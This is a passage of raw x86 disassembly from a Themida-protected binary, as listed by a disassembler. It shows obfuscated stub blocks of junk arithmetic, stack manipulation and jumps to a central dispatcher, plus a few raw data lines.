; ---------------------------------------------------------------------------
loc_546782: ; CODE XREF: Themida_:0054C096j
pop edx
add esp, 4
push 778Dh
mov [esp], ebp
push esp
pop ebp
add ebp, 4
sub esp, 4
mov [esp], eax
mov eax, 4
add ebp, eax
mov eax, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
div ecx
push 6D26h
mov [esp], edx
push eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_54816E
; ---------------------------------------------------------------------------
loc_5467D4: ; CODE XREF: Themida_:005453A9j
mov [esp], ebx
push esi
mov esi, 1F9E5817h
jmp loc_54B2D7
; ---------------------------------------------------------------------------
loc_5467E2: ; CODE XREF: Themida_:0054FFFEj
mov edx, 264E37DBh
mov esi, 0D9B1C825h
jmp loc_54D8C5
; ---------------------------------------------------------------------------
loc_5467F1: ; CODE XREF: Themida_:0054F680j
push ecx
mov ecx, 249822D9h
mov edi, 825673A4h
sub edi, ecx
pop ecx
add edi, 16E71DCEh
inc edi
not edi
jmp loc_54795B
; ---------------------------------------------------------------------------
loc_54680D: ; CODE XREF: Themida_:005476DCj
mov esi, 294E15F3h
or edi, esi
pop esi
sub edi, 3D7E7DF1h
add ebx, edi
mov edi, [esp]
jmp loc_54EA08
; ---------------------------------------------------------------------------
loc_546825: ; CODE XREF: Themida_:0054D9B5j
pop esi
and eax, edi
jmp loc_54C21C
; ---------------------------------------------------------------------------
loc_54682D: ; CODE XREF: Themida_:0054709Aj
or bl, 5Eh
jmp loc_547303
; ---------------------------------------------------------------------------
loc_546835: ; CODE XREF: Themida_:005491ADj
add edi, 6E55D04h
add edi, 4CB2056Ah
add edi, 2B385413h
add edi, 0A0A1E68h
jmp loc_54849E
; ---------------------------------------------------------------------------
loc_546852: ; CODE XREF: Themida_:00544E7Bj
mov ebp, eax
jmp loc_54CAE1
; ---------------------------------------------------------------------------
loc_546859: ; CODE XREF: Themida_:0054D374j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_54A08A
; ---------------------------------------------------------------------------
loc_546874: ; CODE XREF: Themida_:00548D83j
push 6789h
mov [esp], edx
mov dl, 0B5h
jmp loc_545228
; ---------------------------------------------------------------------------
loc_546883: ; CODE XREF: Themida_:0054BB53j
add eax, 7B154BEAh
mov ecx, [esp]
add esp, 4
jmp loc_54B2E4
; ---------------------------------------------------------------------------
loc_546896: ; CODE XREF: Themida_:0054AB84j
pop ecx
jmp loc_54A8A8
; ---------------------------------------------------------------------------
loc_54689C: ; CODE XREF: Themida_:0054F44Fj
and edi, 59495BC6h
push 0
jmp loc_54F173
; ---------------------------------------------------------------------------
loc_5468AC: ; CODE XREF: Themida_:0054D97Fj
add edi, 2
xchg edi, [esp]
pop esp
shr word ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5468C0: ; CODE XREF: Themida_:0054FF9Aj
sub edi, 0FFFFFFFFh
inc edi
add edi, 0FAF7FB9Dh
add ecx, edi
pop edi
push eax
push ecx
jmp loc_545E50
; ---------------------------------------------------------------------------
loc_5468D7: ; CODE XREF: Themida_:0054DFC5j
pop eax
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54EEE2
; ---------------------------------------------------------------------------
loc_5468E9: ; CODE XREF: Themida_:0054C3E2j
sub esi, 6407Eh
add edx, esi
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5455DF
; ---------------------------------------------------------------------------
loc_5468FD: ; CODE XREF: Themida_:0054B39Fj
sub cl, 0B9h
add cl, 55h
mov dl, cl
pop ecx
add bl, dl
pop dx
sub bl, al
push 10B8h
mov [esp], edx
push ecx
jmp loc_5490C5
; ---------------------------------------------------------------------------
loc_54691A: ; CODE XREF: Themida_:0054FDD3j
xor esi, 0CD9CD194h
add eax, esi
pop esi
jmp loc_54F3C0
; ---------------------------------------------------------------------------
loc_546928: ; CODE XREF: Themida_:0054973Fj
neg esi
or esi, 60FA547Ch
sub esi, 0F6FFD47Bh
push esi
mov esi, 5FC1663h
shr esi, 8
sub esi, 48C9779Bh
sub esi, 8CCC2584h
sub ecx, esi
pop esi
add ecx, esi
add ecx, 2A705EF7h
pop esi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_548E72
; ---------------------------------------------------------------------------
loc_546965: ; CODE XREF: Themida_:0054EE51j
add eax, edi
pop edi
sub eax, edi
sub eax, 3DD01102h
pop edi
jmp loc_54BFDC
; ---------------------------------------------------------------------------
loc_546975: ; CODE XREF: Themida_:005482E4j
add esp, 4
push small 0E79h
jmp loc_5477D7
; ---------------------------------------------------------------------------
loc_546981: ; CODE XREF: Themida_:0054C217j
mov esp, [esp]
sub esp, 4
mov [esp], edx
push 0
jmp loc_54B622
; ---------------------------------------------------------------------------
loc_546997: ; CODE XREF: Themida_:005440E0j
push 5467h
mov [esp], eax
jmp loc_54A8E6
; ---------------------------------------------------------------------------
loc_5469A4: ; CODE XREF: Themida_:00548094j
shr ebx, 3
shr ebx, 7
sub ebx, 1B692Eh
jmp loc_54D707
; ---------------------------------------------------------------------------
loc_5469B5: ; CODE XREF: Themida_:0054D869j
mov [esp], ecx
jmp loc_544022
; ---------------------------------------------------------------------------
sub edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_54F939
; ---------------------------------------------------------------------------
loc_5469CD: ; CODE XREF: Themida_:0054A351j
push ebx
jmp loc_54CC91
; ---------------------------------------------------------------------------
loc_5469D3: ; CODE XREF: Themida_:0054F153j
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
jmp loc_548871
; ---------------------------------------------------------------------------
loc_5469F8: ; CODE XREF: Themida_:0054D6A1j
mov [esp], edi
mov edi, 8DB3872h
add eax, edi
pop edi
add eax, ebx
sub eax, 8DB3872h
jmp loc_544388
; ---------------------------------------------------------------------------
loc_546A0F: ; CODE XREF: Themida_:0054BED9j
add ebp, eax
mov eax, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_548DE3
; ---------------------------------------------------------------------------
loc_546A28: ; CODE XREF: Themida_:00549453j
pop ecx
xor edx, 3B86187Dh
jmp loc_54B4B3
; ---------------------------------------------------------------------------
loc_546A34: ; CODE XREF: Themida_:00548F86j
mov [esp], eax
jmp loc_548D91
; ---------------------------------------------------------------------------
loc_546A3C: ; CODE XREF: Themida_:00545532j
mov cl, bh
pop ebx
pop edx
push 0
sub [esp], cl
mov cl, [esp]
push eax
jmp loc_546FFE
; ---------------------------------------------------------------------------
loc_546A51: ; CODE XREF: Themida_:0054DFD4j
mov bl, dl
mov ch, bl
jmp loc_54D1E5
; ---------------------------------------------------------------------------
loc_546A5A: ; CODE XREF: Themida_:005476C8j
mov esi, 15EF3F81h
add esi, 0EA10C083h
add ebp, esi
jmp loc_549A9A
; ---------------------------------------------------------------------------
loc_546A6C: ; CODE XREF: Themida_:00545E0Aj
pop edx
sub esi, 19963B8Eh
sub esi, 125F22B1h
sub esi, ecx
jmp loc_54FA84
; ---------------------------------------------------------------------------
loc_546A80: ; CODE XREF: Themida_:0054B82Fj
mov esp, [esp]
movzx eax, al
push dword ptr [edi+eax*4]
push ecx
sub esp, 4
mov [esp], esi
push eax
mov eax, 555B2F1Ah
mov esi, eax
mov eax, [esp]
jmp loc_549393
; ---------------------------------------------------------------------------
loc_546AA0: ; CODE XREF: Themida_:0054EEB5j
push edx
jmp loc_54DFCA
; ---------------------------------------------------------------------------
loc_546AA6: ; CODE XREF: Themida_:0054EF8Aj
or ebp, 501D60B3h
xor ebp, 69153BEDh
or ebp, 0E927F74h
sub ebp, 16D248DBh
sub edx, ebp
mov ebp, [esp]
add esp, 4
add ebx, edx
pop edx
add ebx, 49A871E8h
jmp loc_545928
; ---------------------------------------------------------------------------
loc_546AD4: ; CODE XREF: Themida_:0054FF94j
sub edi, 77830B8Fh
xor edi, 0C29CE03Fh
add [esp+4], edi
pop edi
mov eax, [esp]
push edi
jmp loc_54B2BA
; ---------------------------------------------------------------------------
loc_546AEE: ; CODE XREF: Themida_:00545138j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
jmp loc_54E71A
; ---------------------------------------------------------------------------
loc_546B00: ; CODE XREF: Themida_:0054A98Aj
pop ebx
jmp loc_544460
; ---------------------------------------------------------------------------
loc_546B06: ; CODE XREF: Themida_:005454C9j
mov edx, 4
add edi, edx
mov edx, [esp]
jmp loc_546BC7
; ---------------------------------------------------------------------------
loc_546B15: ; CODE XREF: Themida_:0054B5A1j
push 653Eh
mov [esp], eax
mov eax, esp
push edx
jmp loc_54B8E5
; ---------------------------------------------------------------------------
loc_546B25: ; CODE XREF: Themida_:0054B7BFj
mov ebx, [esp]
jmp loc_54775E
; ---------------------------------------------------------------------------
loc_546B2D: ; CODE XREF: Themida_:0054ADC1j
xor ecx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebx
push eax
mov ah, dl
jmp loc_549AFE
; ---------------------------------------------------------------------------
loc_546B41: ; CODE XREF: Themida_:0054C3B0j
pop ebx
add ebx, 4
push ecx
mov ecx, 5C594E31h
jmp loc_5485D9
; ---------------------------------------------------------------------------
loc_546B53: ; CODE XREF: Themida_:0054510Bj
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5454B5
; ---------------------------------------------------------------------------
lodsd
sub eax, 4B6C78CAh
add eax, ebx
jmp loc_549EF0
; ---------------------------------------------------------------------------
loc_546B70: ; CODE XREF: Themida_:00546CE9j
add ebp, 43273159h
neg ebp
push esi
mov esi, 28646F6Fh
shl esi, 1
inc esi
shr esi, 1
sub esi, 0D792BD9Ch
sub ebp, esi
pop esi
add ecx, ebp
jmp loc_54ECE4
; ---------------------------------------------------------------------------
loc_546B93: ; CODE XREF: Themida_:0054D9D2j
pop edi
push edi
push esp
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_544E77
; ---------------------------------------------------------------------------
loc_546BA8: ; CODE XREF: Themida_:0054ECDFj
push eax
push 617C0364h
pop eax
jmp loc_54AF00
; ---------------------------------------------------------------------------
loc_546BB4: ; CODE XREF: Themida_:0054A1C0j
mov [esp], edx
mov eax, [esp]
jmp loc_54E050
; ---------------------------------------------------------------------------
loc_546BBF: ; CODE XREF: Themida_:0054AF5Dj
add esp, 4
jmp loc_54A226
; ---------------------------------------------------------------------------
loc_546BC7: ; CODE XREF: Themida_:00546B10j
add esp, 4
jmp loc_54E107
; ---------------------------------------------------------------------------
loc_546BCF: ; CODE XREF: Themida_:0054A2F3j
sub edi, 1BBB0470h
sub esp, 4
mov [esp], edi
sub dword ptr [esp], 11C1373Dh
pop ecx
jmp loc_54F258
; ---------------------------------------------------------------------------
loc_546BE8: ; CODE XREF: Themida_:00547DFDj
pop esp
add eax, 4
push ecx
mov ecx, 2
add eax, ecx
jmp loc_548447
; ---------------------------------------------------------------------------
loc_546BFB: ; CODE XREF: Themida_:005463A1j
sub esp, 4
mov [esp], eax
push edx
mov edx, ecx
mov eax, edx
jmp loc_548CFC
; ---------------------------------------------------------------------------
loc_546C0B: ; CODE XREF: Themida_:0054C256j
push 45F1h
mov [esp], ecx
mov ecx, 0BC77FCCh
jmp loc_5453B8
; ---------------------------------------------------------------------------
loc_546C1D: ; CODE XREF: Themida_:0054E43Bj
pop ebp
pop edx
sub eax, 15FA0F84h
add eax, edx
push esi
push ebx
push 0C2A547Eh
pop ebx
dec ebx
jmp loc_5486D6
; ---------------------------------------------------------------------------
loc_546C34: ; CODE XREF: Themida_:0054944Cj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_544022
; ---------------------------------------------------------------------------
loc_546C49: ; CODE XREF: Themida_:0054C37Fj
mov ch, 0EBh
or ch, 0F3h
xor ch, 1Fh
or ch, 0CCh
sub ch, 83h
jmp loc_547F62
; ---------------------------------------------------------------------------
loc_546C5C: ; CODE XREF: Themida_:0054F9ECj
xchg edx, [esp]
mov esp, [esp]
mov eax, [esp]
push 11EDh
jmp loc_54630A
; ---------------------------------------------------------------------------
loc_546C6F: ; CODE XREF: Themida_:00546391j
mov ch, 10h
sub bl, ch
pop cx
add bl, al
add bl, 10h
push small 7AF0h
jmp loc_54780B
; ---------------------------------------------------------------------------
loc_546C83: ; CODE XREF: Themida_:0054B708j
add esp, 4
xor ch, 0ECh
jmp loc_5442E6
; ---------------------------------------------------------------------------
loc_546C91: ; CODE XREF: Themida_:005444D5j
add dh, 74h
xor dh, 1Eh
add al, dh
jmp loc_54DE71
; ---------------------------------------------------------------------------
loc_546C9E: ; CODE XREF: Themida_:00549A2Cj
inc eax
and eax, 501A1280h
xor eax, 37C15DA3h
xor ebx, eax
pop eax
mov edx, ebx
pop ebx
add edx, 4A7D3E53h
sub edx, 7C59530Ch
add edx, edi
add edx, 7C59530Ch
jmp loc_5445FD
; ---------------------------------------------------------------------------
loc_546CC8: ; CODE XREF: Themida_:0054C1B2j
push ebx
jmp loc_549CD9
; ---------------------------------------------------------------------------
loc_546CCE: ; CODE XREF: Themida_:0054EC80j
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, esp
push ebp
mov ebp, 0AFA2465h
and ebp, 4437008Bh
xor ebp, 6C351CD1h
jmp loc_546B70
; ---------------------------------------------------------------------------
loc_546CEE: ; CODE XREF: Themida_:00548E6Dj
add ebp, 4
jmp loc_545B1D
; ---------------------------------------------------------------------------
mov cx, [esp]
push 68EFh
jmp loc_549427
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jmp loc_54B14C
; ---------------------------------------------------------------------------
loc_546D11: ; CODE XREF: Themida_:0054CD7Aj
pop esi
sub esp, 4
jmp loc_54B65C
; ---------------------------------------------------------------------------
loc_546D1A: ; CODE XREF: Themida_:0054DCCDj
xchg edi, [esp]
jmp loc_54529C
; ---------------------------------------------------------------------------
loc_546D22: ; CODE XREF: Themida_:00545D84j
mov ch, 3Bh
neg ch
push ebx
mov bl, 55h
xor bl, 5Bh
xor ch, bl
pop ebx
jmp loc_547A85
; ---------------------------------------------------------------------------
loc_546D34: ; CODE XREF: Themida_:0054956Cj
sar word ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
jmp loc_548B3F
; ---------------------------------------------------------------------------
loc_546D47: ; CODE XREF: Themida_:00549A3Fj
and eax, esi
push dword ptr [esp]
jmp loc_546699
; ---------------------------------------------------------------------------
loc_546D51: ; CODE XREF: Themida_:0054C719j
add esp, 4
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_54835B
; ---------------------------------------------------------------------------
loc_546D68: ; CODE XREF: Themida_:00549D22j
add esp, 4
push dx
jmp loc_54D44F
; ---------------------------------------------------------------------------
loc_546D75: ; CODE XREF: Themida_:0054962Ej
jmp loc_544022
; ---------------------------------------------------------------------------
loc_546D7A: ; CODE XREF: Themida_:00545215j
add edi, 4
add edi, 4
jmp loc_545BAA
; ---------------------------------------------------------------------------
loc_546D88: ; CODE XREF: Themida_:00549E76j
mov bl, 95h
add bl, 0C2h
jmp loc_545949
; ---------------------------------------------------------------------------
loc_546D92: ; CODE XREF: Themida_:0054A85Bj
or eax, 16E22464h
jmp loc_54C507
; ---------------------------------------------------------------------------
loc_546D9C: ; CODE XREF: Themida_:0054438Cj
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_547EB9
; ---------------------------------------------------------------------------
loc_546DAA: ; CODE XREF: Themida_:0054FF42j
mov esi, [esp]
push eax
jmp loc_547689
; ---------------------------------------------------------------------------
loc_546DB3: ; CODE XREF: Themida_:00544B9Cj
mov ecx, 4
add edi, ecx
pop ecx
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
jmp loc_5499FE
; ---------------------------------------------------------------------------
loc_546DCD: ; CODE XREF: Themida_:0054539Fj
mov [esp], esp
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], ebx
mov ebx, 4
add edi, 392030C8h
jmp loc_5497CF
; ---------------------------------------------------------------------------
loc_546DEE: ; CODE XREF: Themida_:0054A637j
pop ebp
xchg eax, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_546DFE: ; CODE XREF: Themida_:00547494j
mov edx, esp
jmp loc_54889A
; ---------------------------------------------------------------------------
loc_546E05: ; CODE XREF: Themida_:00549D5Fj
add edi, 39796AA4h
mov eax, [esp]
add esp, 4
push edx
mov edx, esp
jmp loc_5473AF
; ---------------------------------------------------------------------------
loc_546E1C: ; CODE XREF: Themida_:0054B44Bj
mov dh, 0Ch
mov al, dh
jmp loc_54828A
; ---------------------------------------------------------------------------
loc_546E25: ; CODE XREF: Themida_:0054B6DFj
mov esi, 4
add ebp, 594829A8h
push 52CFh
mov [esp], esi
mov esi, 58591859h
sub ebp, esi
pop esi
jmp loc_54739C
; ---------------------------------------------------------------------------
loc_546E45: ; CODE XREF: Themida_:00547005j
push ecx
mov ecx, 4
jmp loc_548F5C
; ---------------------------------------------------------------------------
loc_546E50: ; CODE XREF: Themida_:0054A348j
push esi
mov esi, esp
add esi, 4
push eax
mov eax, 17607CBh
xor eax, 73C05805h
sub eax, 436E0FA0h
dec eax
inc eax
jmp loc_54C857
; ---------------------------------------------------------------------------
push 6E49h
mov [esp], ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xor ecx, [esp]
jmp loc_54FA8A
; ---------------------------------------------------------------------------
loc_546E8E: ; CODE XREF: Themida_:0054B581j
sub ch, bh
pop ebx
jmp loc_548901
; ---------------------------------------------------------------------------
loc_546E96: ; CODE XREF: Themida_:0054CC3Dj
mov ebx, 24h
add ebx, edi
xor esi, [ebx]
pop ebx
xor [edi+24h], esi
jmp loc_546396
; ---------------------------------------------------------------------------
loc_546EA8: ; CODE XREF: Themida_:00548FE6j
push 7D54h
mov [esp], ecx
mov ecx, 7B8C3C62h
push 7AB1h
mov [esp], ecx
push ebx
pop ecx
mov ebx, [esp]
jmp loc_54BD7D
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push edi
jmp loc_54F5CD
; ---------------------------------------------------------------------------
loc_546EDC: ; CODE XREF: Themida_:00545C30j
push edi
push edx
mov edx, 24B3E33h
or edx, 35820AF6h
sub edx, 40A52DBAh
shl edx, 5
sub edx, 0B27B1766h
mov edi, edx
pop edx
jmp loc_54B35F
; ---------------------------------------------------------------------------
loc_546F00: ; CODE XREF: Themida_:00545503j
sub dl, 56h
jmp loc_54B107
; ---------------------------------------------------------------------------
loc_546F08: ; CODE XREF: Themida_:0054F819j
xchg ecx, [esp]
pop esp
mov [esp], edi
mov edi, 4
add ecx, edi
pop edi
push esi
mov esi, 2
sub ecx, esi
pop esi
jmp loc_544357
; ---------------------------------------------------------------------------
loc_546F25: ; CODE XREF: Themida_:0054CECDj
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
mov dh, al
push 2E70h
mov [esp], ecx
mov cl, dh
push ebx
mov ebx, 28h
add ebx, edi
jmp loc_54B813
; ---------------------------------------------------------------------------
loc_546F50: ; CODE XREF: Themida_:00546187j
pop eax
jmp loc_54DB3D
; ---------------------------------------------------------------------------
loc_546F56: ; CODE XREF: Themida_:0054CB22j
mov edi, ecx
pop ecx
and eax, edi
jmp loc_547FB8
; ---------------------------------------------------------------------------
loc_546F60: ; CODE XREF: Themida_:005464A7j
xor bl, 2Fh
shr bl, 7
push eax
mov ah, 2Dh
and ah, 0F4h
neg ah
jmp loc_54EF9B
; ---------------------------------------------------------------------------
loc_546F73: ; CODE XREF: Themida_:0054BE1Cj
mov edx, [esp]
add esp, 4
add esp, 4
shr eax, 0Ch
jmp loc_546261
; ---------------------------------------------------------------------------
loc_546F87: ; CODE XREF: Themida_:0054B649j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54A9D2
; ---------------------------------------------------------------------------
loc_546F95: ; CODE XREF: Themida_:00545297j
push ecx
mov ecx, 682E02E2h
sub ebx, 3BE57C94h
add ebx, ecx
jmp loc_547856
; ---------------------------------------------------------------------------
loc_546FA8: ; CODE XREF: Themida_:005476BAj
add esp, 4
xor esi, edx
xor edx, esi
jmp loc_54F4B2
; ---------------------------------------------------------------------------
loc_546FB7: ; CODE XREF: Themida_:0054B03Aj
sub esp, 4
mov [esp], ebx
mov ebx, esp
push edi
mov edi, 4
push edx
jmp loc_54DCD2
; ---------------------------------------------------------------------------
loc_546FCB: ; CODE XREF: Themida_:0054B286j
xor al, dl
xor dl, al
neg al
jmp loc_54C812
; ---------------------------------------------------------------------------
loc_546FD6: ; CODE XREF: Themida_:0054B430j
mov eax, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebx
push esp
jmp loc_54DCF5
; ---------------------------------------------------------------------------
loc_546FEE: ; CODE XREF: Themida_:00548EFDj
pop dword ptr [esp]
push edi
push esp
mov edi, [esp]
add esp, 4
jmp loc_54618C
; ---------------------------------------------------------------------------
loc_546FFE: ; CODE XREF: Themida_:00546A4Cj
mov eax, esp
add eax, 4
jmp loc_546E45
; ---------------------------------------------------------------------------
loc_54700A: ; CODE XREF: Themida_:0054563Aj
mov [esp], esi
mov esi, 6C24395Bh
add esi, 34FB05DFh
inc esi
shl esi, 6
jmp loc_54F39B
; ---------------------------------------------------------------------------
loc_547021: ; CODE XREF: Themida_:0054F765j
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
add esi, 2
xchg esi, [esp]
jmp loc_54D024
; ---------------------------------------------------------------------------
loc_547039: ; CODE XREF: Themida_:0054808Ej
xor esi, 24B32831h
sub edi, 55E731EFh
sub edi, esi
add edi, 55E731EFh
pop esi
jmp loc_54BDC7
; ---------------------------------------------------------------------------
loc_547053: ; CODE XREF: Themida_:0054E3E2j
mov cx, [esp]
push eax
push esp
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_54CB3B
; ---------------------------------------------------------------------------
loc_547065: ; CODE XREF: Themida_:0054A97Aj
not edi
xor edi, 43B54A86h
jmp loc_54E302
; ---------------------------------------------------------------------------
loc_547072: ; CODE XREF: Themida_:00545322j
push esi
jmp loc_54BCD7
; ---------------------------------------------------------------------------
loc_547078: ; CODE XREF: Themida_:0054FE44j
or eax, 448B126Fh
shl eax, 4
add eax, 57EB9EE6h
sub esi, eax
pop eax
mov edi, esi
jmp loc_54498D
; ---------------------------------------------------------------------------
loc_54708F: ; CODE XREF: Themida_:0054B518j
mov [esp], ebx
jmp loc_548970
; ---------------------------------------------------------------------------
push ebx
mov bl, 1Bh
jmp loc_54682D
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
mov eax, 0FFFFFBFFh
and [edi+1Ch], eax
jmp loc_54C2F4
; ---------------------------------------------------------------------------
loc_5470B5: ; CODE XREF: Themida_:0054D63Fj
pop edx
shl edi, 8
push ebp
mov ebp, 2BEF046Bh
sub ebp, 2BEF046Ch
sub edi, ebp
pop ebp
jmp loc_54C8F7
; ---------------------------------------------------------------------------
loc_5470CD: ; CODE XREF: Themida_:0054F92Cj
mov ecx, 59B57965h
neg ecx
jmp loc_546094
; ---------------------------------------------------------------------------
loc_5470D9: ; CODE XREF: Themida_:005481F7j
neg ebp
sub ebp, 6C3D9190h
sub ecx, ebp
pop ebp
add ecx, ebp
jmp loc_54AD07
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_54C6AC
; ---------------------------------------------------------------------------
loc_5470F3: ; CODE XREF: Themida_:0054F48Fj
mov esi, ebp
pop ebp
and eax, esi
jmp loc_5476E1
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push esp
pop edx
jmp loc_54EB95
; ---------------------------------------------------------------------------
loc_547109: ; CODE XREF: Themida_:0054F20Bj
pop cx
shr bh, 8
xor bh, 0DBh
push edx
push eax
mov ah, 19h
jmp loc_5500AC
; ---------------------------------------------------------------------------
loc_54711A: ; CODE XREF: Themida_:0054C4A4j
push 6677h
jmp loc_54B64E
; ---------------------------------------------------------------------------
dd 6CE9D800h, 66FFFFFFh, 57240C8Bh, 5650E789h, 710DBB53h
dd 0E951150Bh, 0B0Eh, 8B92D029h, 0C4832404h, 0F0E95704h
dd 0AD00003Eh, 177D68h, 243C8900h, 0C781E789h, 4, 0FFF858E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547165: ; CODE XREF: Themida_:0054549Aj
xor al, bl
mov ebx, [esp]
jmp loc_5488C0
; ---------------------------------------------------------------------------
loc_54716F: ; CODE XREF: Themida_:0054FAAAj
mov [esp], edi
not dword ptr [esp]
pop edi
shr edi, 6
push edi
not dword ptr [esp]
pop edi
sub edi, 1D741BDFh
push esi
push eax
mov eax, 75C5B8Ah
shl eax, 1
dec eax
jmp loc_544844
; ---------------------------------------------------------------------------
loc_547193: ; CODE XREF: Themida_:0054B9AEj
add esp, 4
and eax, ebp
jmp loc_54B542
; ---------------------------------------------------------------------------
loc_5471A0: ; CODE XREF: Themida_:0054E56Cj
mov esi, [esp]
jmp loc_545990
; ---------------------------------------------------------------------------
loc_5471A8: ; CODE XREF: Themida_:0054FD86j
push ebp
jmp loc_549282
; ---------------------------------------------------------------------------
loc_5471AE: ; CODE XREF: Themida_:0054543Aj
add edi, 6CA61F92h
jmp loc_54D8F2
; ---------------------------------------------------------------------------
loc_5471B9: ; CODE XREF: Themida_:0054AC80j
add eax, edi
mov edi, [esp]
add esp, 4
add ebx, eax
pop eax
jmp loc_54A576
; ---------------------------------------------------------------------------
loc_5471CC: ; CODE XREF: Themida_:005489D3j
dec edx
not edx
jmp loc_54CA35
; ---------------------------------------------------------------------------
loc_5471D4: ; CODE XREF: Themida_:0054C792j
push esp
pop edi
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_544B51
; ---------------------------------------------------------------------------
loc_5471F0: ; CODE XREF: Themida_:0054CB6Dj
shl edx, 1
add edx, 0DEE9E2FCh
sub eax, 157774EBh
add eax, edx
add eax, 157774EBh
jmp loc_54C235
; ---------------------------------------------------------------------------
loc_547209: ; CODE XREF: Themida_:0054C4CCj
add eax, ebp
pop ebp
push esi
push ebp
mov ebp, 16D66491h
add ebp, 7AE40239h
add ebp, 22C17CE8h
shr ebp, 2
jmp loc_54DF8A
; ---------------------------------------------------------------------------
loc_547227: ; CODE XREF: Themida_:0054527Bj
xor edx, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 4
jmp loc_5491CD
; ---------------------------------------------------------------------------
loc_54723A: ; CODE XREF: Themida_:0054CF7Bj
push edi
mov edi, esp
push esi
mov esi, 4
add edi, esi
jmp loc_54F139
; ---------------------------------------------------------------------------
loc_54724A: ; CODE XREF: Themida_:0054B09Fj
mov dl, 0Eh
sub bl, dl
pop dx
add bl, 0C8h
jmp loc_549209
; ---------------------------------------------------------------------------
loc_547258: ; CODE XREF: Themida_:00547B38j
pop ebx
push esi
push dword ptr [esp+4]
pop esi
jmp loc_545376
; ---------------------------------------------------------------------------
loc_547264: ; CODE XREF: Themida_:00545399j
pop esi
xor ebx, 9D542B3h
add eax, ebx
pop ebx
push 7784h
mov [esp], ebp
push edi
jmp loc_54EDC8
; ---------------------------------------------------------------------------
loc_54727C: ; CODE XREF: Themida_:0054AE75j
pop ecx
push esi
jmp loc_544C9B
; ---------------------------------------------------------------------------
loc_547283: ; CODE XREF: Themida_:00547D46j
mov esi, eax
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 9B1B276h
sub esi, 2B883F44h
add esi, ecx
add esi, 2B883F44h
pop ecx
dec esi
jmp loc_54C74F
; ---------------------------------------------------------------------------
loc_5472A9: ; CODE XREF: Themida_:0054BF7Aj
push ebx
mov ebx, 91F6F35h
and ebp, ebx
mov ebx, [esp]
add esp, 4
push ecx
mov ecx, 5D5A835h
xor ebp, ecx
jmp loc_54FF9F
; ---------------------------------------------------------------------------
loc_5472C4: ; CODE XREF: Themida_:0054DC2Ej
shl ecx, 8
inc ecx
inc ecx
add ecx, 51873002h
mov eax, ecx
pop ecx
mov ecx, eax
pop eax
add ebx, ecx
pop ecx
push ecx
mov ecx, 4
jmp loc_54909C
; ---------------------------------------------------------------------------
loc_5472E3: ; CODE XREF: Themida_:0054DC48j
add esp, 4
pop dword ptr [esp]
pop esp
push 6CE9h
mov [esp], edi
jmp loc_54CCC2
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
jmp loc_54FED9
; ---------------------------------------------------------------------------
loc_547303: ; CODE XREF: Themida_:00546830j
shl bl, 1
add bl, 34h
jmp loc_54E733
; ---------------------------------------------------------------------------
loc_54730D: ; CODE XREF: Themida_:00548BEFj
pop esp
mov [esp], eax
mov eax, [esp]
sub esp, 4
mov [esp], eax
jmp loc_547CFB
; ---------------------------------------------------------------------------
loc_547322: ; CODE XREF: Themida_:0054DBF8j
sub edx, ecx
add edx, 0E42E75h
jmp loc_547B3D
; ---------------------------------------------------------------------------
loc_54732F: ; CODE XREF: Themida_:005446BBj
push esi
mov esi, 348558B6h
push edx
mov edx, 74B30BBBh
jmp loc_545A4C
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_548626
; ---------------------------------------------------------------------------
loc_547349: ; CODE XREF: Themida_:0054DB68j
mov ebx, [esp]
jmp loc_54BD5A
; ---------------------------------------------------------------------------
mov ax, [esp]
push 32CCh
mov [esp], ebx
push esp
pop ebx
push 6334h
mov [esp], esi
push edi
push 68F13C6Bh
pop edi
jmp loc_54CF80
